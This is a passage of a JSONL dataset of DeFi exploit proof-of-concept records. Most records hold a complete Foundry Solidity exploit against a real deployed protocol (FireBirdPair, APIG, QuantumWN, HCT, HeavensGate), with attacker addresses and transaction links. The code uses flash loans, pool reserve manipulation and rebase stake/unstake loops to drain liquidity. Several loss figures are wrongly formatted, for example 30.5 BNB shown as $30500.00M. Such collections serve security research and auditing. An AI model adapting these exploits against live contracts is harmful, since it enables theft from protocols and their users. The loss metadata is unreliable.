recipient, uint256 amount) external returns (bool);\n}\n\ninterface IProxyUSDC is IUSDC {\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ncontract ContractTest is Test {\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IWETH WMATIC = IWETH(payable(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270));\n IFireBirdRouter Router = IFireBirdRouter(0xb31D1B1eA48cE4Bf10ed697d44B747287E785Ad4);\n IFirebirdReserveFund ReserveFund = IFirebirdReserveFund(0x5D53C9F5017198333C625840306D7544516618e4);\n IFireBirdPair FLP = IFireBirdPair(0x5E9cd0861F927ADEccfEB2C0124879b277Dd66aC);\n IFireBirdPair ce2c_FBP = IFireBirdPair(0xCe2cB67b11ec0399E39AF20433927424f9033233);\n IProxyUSDC USDC = IProxyUSDC(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n IHOPE HOPE = IHOPE(0xd78C475133731CD54daDCb430F7aAE4F03C1E660);\n uint256 amount = 286_000_000_000_000_000_000_000;\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 48_149_138 - 1);\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(WMATIC), \"WMATIC\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(HOPE), \"HOPE\");\n vm.label(address(Router), \"Router\");\n vm.label(address(ReserveFund), \"ReserveFund\");\n vm.label(address(FLP), \"FLP\");\n vm.label(address(ce2c_FBP), \"ce2c_FBP\");\n approveAll();\n }\n\n function testExploit() external {\n uint256 startMATIC = WMATIC.balanceOf(address(this));\n console.log(\"Before Start: %d MATIC\", startMATIC);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WMATIC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = amount;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n uint256 intRes = WMATIC.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WMATIC.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s MATIC\", intRes, decRes);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n for (uint256 i = 0; i < 3; i++) {\n WMATIC_HOPE_PairSwap();\n }\n WMATIC.transfer(address(Balancer), amount);\n }\n\n function WMATIC_HOPE_PairSwap() internal returns (uint256) {\n uint256 amountIn = 226_000_000_000_000_000_000_000;\n uint256 secAmount = routerSwap(address(WMATIC), address(USDC), amount - amountIn, 1, address(ce2c_FBP), 1); // swap WMATIC to USDC\n for (uint256 i = 0; i < 3; i++) {\n amountIn = routerSwap(address(WMATIC), address(HOPE), amountIn, 1, address(FLP), 1); // swap WMATIC to HOPE, deflate HOPE reserve in WMATIC-HOPE LP\n ReserveFund.collectFeeFromProtocol(); // collect fee from protocol, burn WMATIC-HOPE LP, sent WMATIC to 'FirebirdReserveFund', a large amount of WMATIC-HOPE LP mint through manipulated mintLiquidityFee() function\n amountIn = routerSwap(address(HOPE), address(WMATIC), amountIn, 1, address(FLP), 1); // swap HOPE to WMATIC back\n }\n ReserveFund.sellTokensToUsdc(); // 'FirebirdReserveFund' swap WMATIC to USDC without slippage protection\n routerSwap(address(USDC), address(WMATIC), secAmount, 1, address(ce2c_FBP), 1); // swap USDC to WMATIC back\n return amountIn;\n }\n\n function routerSwap(\n address tokenIn,\n address tokenOut,\n uint256 amountIn,\n uint256 amountOutMin,\n address path,\n uint8 dexId\n ) internal returns (uint256) {\n address[] memory paths = new address[](1);\n paths[0] = path;\n uint8[] memory dexIds = new uint8[](1);\n dexIds[0] = dexId;\n\n uint256[] memory results = new uint256[](2);\n results = Router.swapExactTokensForTokens(\n tokenIn, tokenOut, amountIn, amountOutMin, paths, dexIds, address(this), type(uint256).max\n );\n return results[1];\n }\n\n function approveAll() internal {\n WMATIC.approve(address(Router), type(uint256).max);\n WMATIC.approve(address(FLP), type(uint256).max);\n WMATIC.approve(address(ce2c_FBP), type(uint256).max);\n USDC.approve(address(FLP), type(uint256).max);\n USDC.approve(address(ce2c_FBP), type(uint256).max);\n USDC.approve(address(Router), type(uint256).max);\n HOPE.approve(address(Router), type(uint256).max);\n HOPE.approve(address(FLP), type(uint256).max);\n HOPE.approve(address(this), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "FireBirdPair", "date": "2023-09", "file_name": "FireBirdPair_exp.sol", "attack_vector": "flash_loan", "content_hash": "aaab22a5f0c7431d", "collected_at": "2026-01-07T10:59:16.531746", "_source": "postmortems", "chain": "polygon", "block_number": 48149138, "total_lost_raw": "~8536 MATIC (This tx exploit 3211 MATIC)", "total_lost_usd": 8536000000.0, "attacker_address": "https://polygonscan.com/address/0x8e83cd1bad00cf933b86214aaaab4db56abf68aa", "attack_contract": "https://polygonscan.com/address/0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1", "vulnerable_contract": "https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac", "attack_tx": "https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~8536 MATIC (This tx exploit 3211 MATIC)", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~8536 MATIC (This tx exploit 3211 MATIC)", "keyinfo_attacker": "https://polygonscan.com/address/0x8e83cd1bad00cf933b86214aaaab4db56abf68aa", "keyinfo_attack_contract": "https://polygonscan.com/address/0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1", "keyinfo_vulnerable_contract": "https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac", "keyinfo_attack_tx": "https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$8536.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "FireBirdPair Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 59.5 ETH and ~72.1k USDT (~$169k)\n// Attacker : https://bscscan.com/address/0x73d80500b30a6ca840bfab0234409d98cf588089\n// Attack Contract : https://bscscan.com/address/0xfdc6a621861ed2a846ab475c623e13764f6a5ad0\n// Attack Tx : https://bscscan.com/tx/0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947\n\n// @Analysis\n// Twitter Guy : https://twitter.com/CertiKAlert/status/1700128158647734745\n\ninterface IBEP20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function allowance(address _owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\ncontract ContractTest is Test {\n IPancakePair aDaDPair = IPancakePair(0xaDaD973f8920bc511d94aade2762284f621F1467);\n IPancakePair EfBfPair = IPancakePair(0xEFBf31B0Ca397D29E9BA3fb37FE3C013EE32871d);\n IPancakePair b920Pair = IPancakePair(0xb920456AeC6E88c68C16c8294688B2b63C81B2Ce);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IBEP20 BUSD = IBEP20(0x55d398326f99059fF775485246999027B3197955);\n IBEP20 BETH = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IBEP20 APIG = IBEP20(0xDc630Fb4F95FaAeE087E0CE45d5b9c4fc9888888);\n uint256 amount = 500_000_000_000_000_000_000;\n address[] path = new address[](2);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 31_562_012 - 1);\n vm.label(address(aDaDPair), \"0xadad_Pair\");\n vm.label(address(EfBfPair), \"0xefbf_Pair\");\n vm.label(address(b920Pair), \"0xb920_Pair\");\n vm.label(address(router), \"PancakeRouter\");\n vm.label(address(BUSD), \"BSC-USD\");\n vm.label(address(BETH), \"ETH\");\n vm.label(address(APIG), \"APIG\");\n }\n\n function testExploit() external {\n uint256 startBUSD = BUSD.balanceOf(address(this));\n // console.log(\"Before Start: %d USD\", startBUSD);\n aDaDPair.swap(amount, 0, address(this), abi.encode(amount));\n\n uint256 expBUSD = BUSD.balanceOf(address(this)) - startBUSD;\n uint256 intRes_USD = expBUSD / 1 ether;\n uint256 decRes_USD = expBUSD - intRes_USD * 1e18;\n console.log(\"Attack Exploit: %s.%s USD\", intRes_USD, decRes_USD);\n uint256 intRes_ETH = BETH.balanceOf(address(this)) / 1 ether;\n uint256 decRes_ETH = BETH.balanceOf(address(this)) - intRes_ETH * 1e18;\n console.log(\"Attack Exploit: %s.%s ETH\", intRes_ETH, decRes_ETH);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n BUSD.transfer(address(EfBfPair), amount);\n (path[0], path[1]) = (address(BUSD), address(APIG));\n uint256[] memory swapAmounts = router.getAmountsOut(amount, path);\n EfBfPair.swap(0, swapAmounts[1], address(this), \"\");\n uint256 amount72628 = BUSD.balanceOf(address(EfBfPair)) - 5e19;\n (path[0], path[1]) = (address(APIG), address(BUSD));\n uint256[] memory APIG_BUSD = router.getAmountsIn(amount72628, path);\n uint256 amount59500 = BETH.balanceOf(address(b920Pair)) - 1e17;\n (path[0], path[1]) = (address(APIG), address(BETH));\n uint256[] memory APIG_BETH = router.getAmountsIn(amount59500, path);\n while (true) {\n uint256 transferAmount = APIG.balanceOf(address(this));\n APIG.transfer(address(this), transferAmount);\n if (transferAmount >= 257_947_240_540_223_703_649_846_558_720) {\n break;\n }\n }\n\n APIG.transfer(address(EfBfPair), APIG_BUSD[0] + APIG_BUSD[0] / 100 * 4);\n EfBfPair.swap(amount72628, 0, address(this), \"\");\n BUSD.transfer(address(aDaDPair), amount + amount / 100 * 3);\n APIG.transfer(address(b920Pair), APIG.balanceOf(address(this)));\n b920Pair.swap(amount59500, 0, address(this), \"\");\n }\n}\n", "type": "exploit_poc", "protocol": "APIG", "date": "2023-09", "file_name": "APIG_exp.sol", "attack_vector": null, "content_hash": "5ddad8af77415dce", "collected_at": "2026-01-07T10:59:16.531813", "_source": "postmortems", "chain": "bsc", "block_number": 31562012, "total_lost_raw": "59.5 ETH and ~72.1k USDT (~$169k)", "total_lost_usd": 59.5, "attacker_address": "https://bscscan.com/address/0x73d80500b30a6ca840bfab0234409d98cf588089", "attack_contract": "https://bscscan.com/address/0xfdc6a621861ed2a846ab475c623e13764f6a5ad0", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947", "postmortem_url": null, "twitter_url": "https://twitter.com/CertiKAlert/status/1700128158647734745", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "59.5 ETH and ~72.1k USDT (~$169k)", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "59.5 ETH and ~72.1k USDT (~$169k)", "keyinfo_attacker": "https://bscscan.com/address/0x73d80500b30a6ca840bfab0234409d98cf588089", "keyinfo_attack_contract": "https://bscscan.com/address/0xfdc6a621861ed2a846ab475c623e13764f6a5ad0", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x66dee84591aeeba6e5f31e12fe728f2ddc79a06426036793487a980c3b952947", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1700128158647734745", "funds_lost_formatted": "$60", "content_richness_score": 5.35, "quality_estimate": "medium", "title": "APIG Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~0.5 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0xa4659632a983b3bfd1b6248fd52d8f247a9fcdc1915f7d38f01008cff285d0bf\n// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6\n// Attack Contract : https://etherscan.io/address/0x154863eb71de4a34f88ea57450840eab1c71aba6\n// GUY : https://x.com/DecurityHQ/status/1699384904218202618\n\ninterface IStaking {\n function unstake(address _to, uint256 _amount, bool _rebase) external;\n function stake(address _to, uint256 _amount) external;\n}\n\ncontract Exploit is Test {\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IERC20 Fumog = IERC20(0xc14F8A4C8272b8466659D0f058895E2F9D3ae065);\n IStaking QWAStaking = IStaking(0x69422c7F237D70FCd55C218568a67d00dc4ea068);\n IERC20 Sfumog = IERC20(0xf5bF1f78EDa7537F9cAb002a8F533e2733DDfBbC);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_070_348);\n }\n\n function testExploit() public {\n address[] memory token = new address[](1);\n token[0] = address(WETH);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 5 ether;\n balancer.flashLoan(address(this), token, amount, hex\"28\");\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), 18);\n }\n\n function receiveFlashLoan(\n address[] memory, /*tokens*/\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n WETH.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(Fumog);\n Router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp);\n Fumog.approve(address(QWAStaking), type(uint256).max);\n Sfumog.approve(address(QWAStaking), type(uint256).max);\n\n uint8 i = 0;\n while (i < uint8(userData[0])) {\n i += 1;\n uint256 amountJump = Fumog.balanceOf(address(this));\n QWAStaking.stake(address(this), amountJump);\n uint256 amountSJump = Sfumog.balanceOf(address(this));\n QWAStaking.unstake(address(this), amountSJump, true);\n }\n\n Fumog.approve(address(Router), type(uint256).max);\n uint256 amount = Fumog.balanceOf(address(this));\n // emit log_named_decimal_uint(\"Fumog token balance after exploit\", amount, Fumog.decimals());\n path[0] = address(Fumog);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n WETH.transfer(address(balancer), amounts[0] + feeAmounts[0]);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "QuantumWN", "date": "2023-09", "file_name": "QuantumWN_exp.sol", "attack_vector": "flash_loan", "content_hash": "50a9fd18548d4a27", "collected_at": "2026-01-07T10:59:16.531862", "_source": "postmortems", "chain": "ethereum", "block_number": 18070348, "total_lost_raw": "~0.5 ETH", "total_lost_usd": 0.5, "attacker_address": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "attack_contract": "https://etherscan.io/address/0x154863eb71de4a34f88ea57450840eab1c71aba6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~0.5 ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory token = new address[](1);\n token[0] = address(WETH);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 5 ether;\n balancer.flashLoan(address(this), token, amount, hex\"28\");\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "keyinfo_attack_contract": "https://etherscan.io/address/0x154863eb71de4a34f88ea57450840eab1c71aba6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$0", "content_richness_score": 6.56, "quality_estimate": "medium", "title": "QuantumWN Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 30.5BNB\n// Attacker : https://bscscan.com/address/0xc892d5576c65e5b0db194c1a28aa758a43bb42a5\n// Attack Contract : https://bscscan.com/address/0xd7a2fc756e1053b152f90990129f94c573e006fd\n// Attack Tx : https://bscscan.com/tx/0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0\n\n// @Analysis\n// Twitter Guy : https://twitter.com/leovctech/status/1699775506785198499\n\ninterface ICoinToken {\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function allowance(address _owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function burn(\n uint256 _value\n ) external;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\ncontract ContractTest is Test {\n IPancakePair PancakePair = IPancakePair(0xdbE783014Cb0662c629439FBBBa47e84f1B6F2eD);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n ICoinToken HCT = ICoinToken(0x0FDfcfc398Ccc90124a0a41d920d6e2d0bD8CcF5);\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n uint256 baseAMount = 2_200_000_000_000_000_000_000;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 31_528_198 - 1);\n vm.label(address(PancakePair), \"PancakePair\");\n vm.label(address(router), \"PancakeRouter\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(HCT), \"HCT\");\n vm.label(address(DPPOracle), \"DPPOracle\");\n approveAll();\n }\n\n function testExploit() external {\n uint256 startBNB = WBNB.balanceOf(address(this));\n console.log(\"Before Start: %d BNB\", startBNB);\n\n DPPOracle.flashLoan(baseAMount, 0, address(this), abi.encode(baseAMount));\n\n uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s BNB\", intRes, decRes);\n }\n\n function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external {\n swapWBNBtoHCT();\n burn();\n PancakePair.sync();\n swapHCTtoWBNB();\n WBNB.transfer(address(DPPOracle), baseAMount);\n }\n\n function swapWBNBtoHCT() internal {\n uint256 amountIn = baseAMount;\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(WBNB), address(HCT));\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 1, path, address(this), type(uint256).max\n );\n }\n\n function burn() internal {\n while (true) {\n if (HCT.balanceOf(address(this)) <= 70) {\n break;\n }\n HCT.burn(HCT.balanceOf(address(this)) * 8 / 10 - 1);\n }\n }\n\n function swapHCTtoWBNB() internal {\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(HCT), address(WBNB));\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HCT.balanceOf(address(this)), 10, path, address(this), type(uint256).max\n );\n }\n\n function approveAll() internal {\n WBNB.approve(address(router), baseAMount);\n HCT.approve(address(router), baseAMount);\n }\n}\n", "type": "exploit_poc", "protocol": "HCT", "date": "2023-09", "file_name": "HCT_exp.sol", "attack_vector": "flash_loan", "content_hash": "f1061225cbfdbc9b", "collected_at": "2026-01-07T10:59:16.531907", "_source": "postmortems", "chain": "bsc", "block_number": 31528198, "total_lost_raw": "30.5BNB", "total_lost_usd": 30500000000.0, "attacker_address": "https://bscscan.com/address/0xc892d5576c65e5b0db194c1a28aa758a43bb42a5", "attack_contract": "https://bscscan.com/address/0xd7a2fc756e1053b152f90990129f94c573e006fd", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0", "postmortem_url": null, "twitter_url": "https://twitter.com/leovctech/status/1699775506785198499", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "30.5BNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "30.5BNB", "keyinfo_attacker": "https://bscscan.com/address/0xc892d5576c65e5b0db194c1a28aa758a43bb42a5", "keyinfo_attack_contract": "https://bscscan.com/address/0xd7a2fc756e1053b152f90990129f94c573e006fd", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/leovctech/status/1699775506785198499", "funds_lost_formatted": "$30500.00M", "content_richness_score": 5.92, "quality_estimate": "medium", "title": "HCT Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~8ETH\n// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6\n// Attack Contract : https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be\n// Attack Contract : https://etherscan.io/address/0x38702e5c98ba4ad4b786d5a075a5c74694cd616d\n// Attack Tx : https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834\n// Attack Tx : https://etherscan.io/tx/0x8e1b0ab098c4cc5f632e00b0842b5f825bbd15ded796d4a59880bb724f6c5372\n\n// @Analysis\n// Twitter Guy : https://twitter.com/hexagate_/status/1699003711937216905\n\ninterface Staking {\n function stake(address _to, uint256 _amount) external;\n\n function unstake(address _to, uint256 _amount, bool _rebase) external;\n\n function rebase() external;\n}\n\ninterface IsHATE is IERC20 {\n function rebase(uint256 amount_, uint256 epoch_) external returns (uint256);\n\n function circulatingSupply() external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 HATE = IERC20(0x7b768470590B8A0d28fC714d0A70754d556D14eD);\n IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));\n Uni_Pair_V2 HATE_ETH_Pair = Uni_Pair_V2(0x738dab4AF8D21b7aafb73545D79D3B4831eE79dA);\n Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Staking HATEStaking = Staking(0x8EBd6c7D2B79CA4Dc5FBdEc239a8Bb0F214212b8);\n IsHATE sHATE = IsHATE(0xf829d7014Db17D6DCe448bE958c7e4983cdb1F77);\n uint256 flashAmount;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\");\n vm.label(address(HATE), \"HATE\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(HATE_ETH_Pair), \"Uniswap HATE\");\n vm.label(address(HATEStaking), \"HATEStaking\");\n vm.label(address(sHATE), \"sHATE\");\n }\n\n function testExploit1() external {\n vm.rollFork(18_069_528 - 1);\n approveAll();\n console.log(\"Before Start: %d ETH\", WETH.balanceOf(address(this)));\n flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 9 / 10;\n HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex\"03\");\n\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(HATE), address(WETH));\n uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"WETH balance after swap\", WETH.balanceOf(address(this)), WETH.decimals());\n }\n\n function testExploit2() external {\n vm.rollFork(18_071_199 - 1);\n approveAll();\n console.log(\"Before Start: %d ETH\", WETH.balanceOf(address(this)));\n flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 7 / 10;\n HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex\"1e\");\n\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(HATE), address(WETH));\n uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"WETH balance after swap\", WETH.balanceOf(address(this)), WETH.decimals());\n }\n\n function uniswapV2Call(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external {\n uint256 i = 0;\n while (i < uint8(data[0])) {\n uint256 balanceAttacker = HATE.balanceOf(address(this));\n HATEStaking.stake(address(this), balanceAttacker);\n uint256 sTokenBalance = sHATE.balanceOf(address(this));\n HATEStaking.unstake(address(this), sTokenBalance, true);\n i += 1;\n }\n HATE.transfer(address(HATE_ETH_Pair), uint256(amount0 * 1000 / 997) + 1);\n }\n\n function approveAll() internal {\n HATE.approve(address(HATEStaking), type(uint256).max);\n HATE.approve(address(uniRouter), type(uint256).max);\n sHATE.approve(address(HATEStaking), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "HeavensGate", "date": "2023-09", "file_name": "HeavensGate_exp.sol", "attack_vector": null, "content_hash": "3788180a3b726a75", "collected_at": "2026-01-07T10:59:16.531963", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~8ETH", "total_lost_usd": 8.0, "attacker_address": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "attack_contract": "https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834", "postmortem_url": null, "twitter_url": "https://twitter.com/hexagate_/status/1699003711937216905", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~8ETH", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~8ETH", "keyinfo_attacker": "https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6", "keyinfo_attack_contract": "https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/hexagate_/status/1699003711937216905", "funds_lost_formatted": "$8", "content_richness_score": 5.09, "quality_estimate": "medium", "title": "HeavensGate Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 56.9 BNB\n// Attacker : https://bscscan.com/address/0x506eebd8d6061202a8e8fc600bb3d5d41f475ee1\n// Attack Contract : https://bscscan.com/address/0x202e059a16d29a2f6ae0307ae3d574746b2b6305\n// Vulnerable Contract : https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48\n// Attack Tx : https://bscscan.com/tx/0xbdf76f22c41fe212f07e24ca7266d436ef4517dc1395077fabf8125ebe304442\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/CertiKAlert/status/1706765042916450781\n// invoke function burnpoolXSD() after executing TransferHelper.safeTransferETH();\n\ninterface IXSD is IERC20 {\n function burnpoolXSD(\n uint256 _xsdamount\n ) external;\n}\n\ninterface IXSDRouter {\n function swapXSDForETH(uint256 amountOut, uint256 amountInMax) external;\n function swapETHForBankX(\n uint256 amountOut\n ) external payable;\n}\n\ninterface IXSDWETHpool {\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(\n address owner\n ) external view returns (uint256);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function price0CumulativeLast() external view returns (uint256);\n function price1CumulativeLast() external view returns (uint256);\n function kLast() external view returns (uint256);\n function collatDollarBalance() external returns (uint256);\n function swap(uint256 amount0Out, uint256 amount1Out, address to) external;\n function skim(\n address to\n ) external;\n function sync() external;\n}\n\ninterface IPIDController {\n function systemCalculations() external;\n}\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n 